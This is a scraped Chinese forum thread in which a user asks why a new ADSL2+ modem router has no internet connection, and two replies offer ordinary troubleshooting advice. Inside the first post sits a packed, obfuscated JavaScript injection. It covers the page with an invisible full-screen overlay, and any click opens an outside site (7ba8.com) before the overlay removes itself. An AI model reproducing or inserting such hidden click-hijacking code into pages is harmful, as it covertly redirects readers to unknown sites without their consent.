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标题:
求助 关于ADSL2+的问题..
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作者:
Dandi
时间:
2013-9-11 20:38
标题:
求助 关于ADSL2+的问题..
<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>我们9月9号开通了 Home phone + ADSL2+ 的套餐, 我们买了一个新的ADSL2+ Modem Router 是 Built-in DSL modem 但是我们把房间或者客厅的接口接上路由 电源灯提示是亮的 然后secure connection, 2.4Gz, 5Gz灯都是亮的电脑可以连接的上路由 但是提示是没有网络连接,打电话到网络公司 他们说网络是通的我们的步骤是
用电话线 从接口接到路由上的ADSL接口
接电源
开机
连电脑
说明书上也是这个步骤
可是就是不通 打电话去问他们能不能派人来看 他们说不行
请问你们谁有办法帮我们解决?
谢谢
作者:
gydlad
时间:
2013-9-11 23:22
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2、你们的路由器是否已经正确配置?网络公司会给你们连接方式/用户名/密码什么的信息,需要把这些配置到你们的路由器中。
3、按你说的步骤,连接电话入户线(应该是你说的接口)与路由器。
4、如果有笔记本电脑,试验无线方式是否能上网。
作者:
华人电信@a
时间:
2013-9-12 19:44
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2. 之后DSL灯是否是一直绿色
3. 正确设置modem
如果无法拨出电话或者DSL是闪的不亮的,拨打客服说明 there is no dial tone on the phone nor sync on the modem, 之后会要求做2个测试,插上modem和拔掉modem分别做一个测试。完成后,发现线路问题,网络公司会派人来修复外部线路,一般1-3个工作日。
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